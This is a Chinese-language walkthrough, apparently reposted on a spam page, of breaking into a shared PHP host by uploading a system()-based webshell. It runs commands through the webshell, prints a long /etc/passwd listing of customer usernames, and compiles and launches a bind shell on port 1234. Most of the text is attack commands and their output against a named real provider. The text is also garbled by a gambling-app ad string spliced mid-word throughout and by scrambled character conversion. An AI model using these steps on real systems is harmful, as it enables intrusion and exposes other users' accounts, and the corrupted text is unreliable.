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和記娛樂安卓下載和:構建Linux下的安全,PHP配置漏洞攻擊

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這些站點的問題主要出在容許應用system(),exec()等等這些函數,認識php的同伙應該知道,這些函數是調用系統指令的(雖然經由過程web server php法度榜樣只能有nobody權限),而且一樣平常用戶只要申請一個空間就可以獲取局部的可寫權限,令用戶可以寫一個web shell法度榜樣履行敕令.在這些辦事器上一樣平常用戶不能夠登岸,也便是nologin(沒有登岸shell,治理員可沒那么"慷慨"!),這樣使用system(),exec()這些函數就可以bind一個shell出來~!本文以虎翼網(www.51.net)的空間為例子(他是不是所有的辦事器都有這個搭檔我不知道~我只試驗了我的空間所在的辦事器):

1.寫一個webshell先(php很輕易做到)

?>php

#shell.php3

echo"

";

system("$cmd");

echo"";

?>

2.上傳到空間

3.履行(詳細的辦事器馬賽克處置懲罰)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下權限到底多大年夜)

uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)

root真的很吝嗇啊!

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系統)

FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20

00:58:09 CST 2001 [email protected]:/usr/src/sys/compile/51NET i386

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat

/etc/passwd(shadow是鐵定看不到)

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin

operator:*:2:5:System &:/:/sbin/nologin

bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin

tty:*:107353:51:USER:/home/tty:/local/bin/null

kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin

news:*:8:8:News Subsystem:/:/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/sbin/nologin

uucp:*:66:66:UUCP

pseudo-user:/var/spool/uucppublic:/usr/li和記娛樂安卓下載和bexec/uucp/uucico

xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin

pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin

ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin

quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin

quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin

quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin

tian:*:1002:1002::/local/tian:/local/bin/ksh

sysadmin:*:1001:1001:System

Administrator:/local/sysadmin:/local/bin/ksh

test2:*:9999:51::/home/test2:/local/bin/null

xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin

zhinan:*:106201:51:USER:/home/zhinan:/local/bin/nu和記娛樂安卓下載和ll

yes2:*:106202:51:USER:/home/yes2:/local/bin/null

daboy:*:106203:51:USER:/home/daboy:/local/bin/null

yesky:*:106204:51:USER:/home/yesky:/local/bin/null

yesk:*:106205:51:USER:/home/yesk:/local/bin/null

lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null

fog:*:106207:51:USER:/home/fog:/local/bin/null

renshou:*:106208:51:USER:/home/renshou:/local/bin/null

hilen:*:106209:51:USER:/home/hilen:/local/bin/null

hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin

xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin

wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null

larry:*:106213:51:USER:/home/larry:/local/bin/null

sunboys:*:106214:51:USER:/home/sunboys:/local/bin/和記娛樂安卓下載和null

everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null

linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null

baobao:*:106217:51:USER:/home/baobao:/local/bin/null

chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null

hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null

dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null

simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null

chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null

lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null

zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null

pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null

startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null

model:*:106227:51:USER:/home/model:/local/bin/null

leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null

fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null

ljok:*:106230:51:USER:/home/ljok:/local/bin/null

baorui:*:106231:51:USER:/home/baorui:/local/bin/null

fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null

zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null

xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null

zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null

power:*:106236:51:USER:/home/power:/local/bin/null

feefan:*:106237:51:USER:/home/feefan:/local/bin/null

paradise:*:106238:51:USER:/home/paradise:/local/bin/null

wulc:*:106239:51:USER:/home/wulc:/local/bin/null

jcm:*:106240:51:USER:/home/jcm:/local/bin/null

liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null

jingder:*:106242:51:USER:/home/jingder:/local/bin/null

hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null

adai:*:106244:51:USER:/home/adai:/local/bin/null

fightben:*:106245:51:USER:和記娛樂安卓下載和/home/fightben:/local/bin/null

lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null

xeno:*:106247:51:USER:/home/xeno:/local/bin/null

..................(太多了~省略)

只有幾個用戶有shell可以登岸,cp到我的目錄下面,等一下分離出usrename看看有沒有人username=passwd的~呵呵~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set

HOME=/

PS1=$

OPTIND=1

PS2=>

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin

IFS=

好差的"情況",被設置成這樣....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts

# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $

#

# Host Database

# This file should contain the addresses and aliases

# for local hosts that share this file.

# In the presence of the domain name service or NIS, this file may

# not be consulted at all; see /etc/host.conf for the resolution

order.

#

#

127.0.0.1 localhost localhost.my.domain myname.my.domain

#

# Imaginary network.

#10.0.0.2 myname.my.domain myname

#10.0.0.3 myfriend.my.domain myfriend

#

# According to RFC 1918, you can use the following IP networks for

# private nets which will never be connected to the Internet:

#

# 10.0.0.0 - 10.255.255.255

# 172.16.0.0 - 172.31.255.255

# 192.168.0.0 - 192.168.255.255

#

#

不算太小啊~hosts ~

lynx http://xxx.51.n和記娛樂安卓下載和et/cgi-bin/shell.php?cmd=whereis -b gcc

(老天保佑~有gcc)

gcc:/usr/sbin/gcc(萬歲!!!!!!!!!!!!)

我來碰命運運限~弄一個大年夜家伙上去,編譯一下,哈哈~速率好快!

webshell太累了,bind一個shell出來方便一點...(上傳binshell法度榜樣,自己寫也可以用perl/C,都不太難)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234

bind shell too port 1234

telnet xxx.51.net 1234

.....下面省略,反正就可以履行敕令了

嗯~似乎這臺沒裝MySQL,可惜~呵呵~~~~~~~~~,對了oso.com.cn的似乎有~,不過近來停了.....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p

localhost

portmapper 100000 portmap sunrpc

rstatd 100001 rstat rstat_svc rup perfmeter

rusersd 100002 rusers

nfs 100003 nfsprog

ypserv 100004 ypprog

mountd 100005 mount showmount

ypbind 100007

walld 100008 rwall shutdown

yppasswdd 100009 yppasswd

etherstatd 100010 etherstat

rquotad 100011 rquotaprog quota rquota

sprayd 100012 spray

3270_mapper 100013

rje_ma

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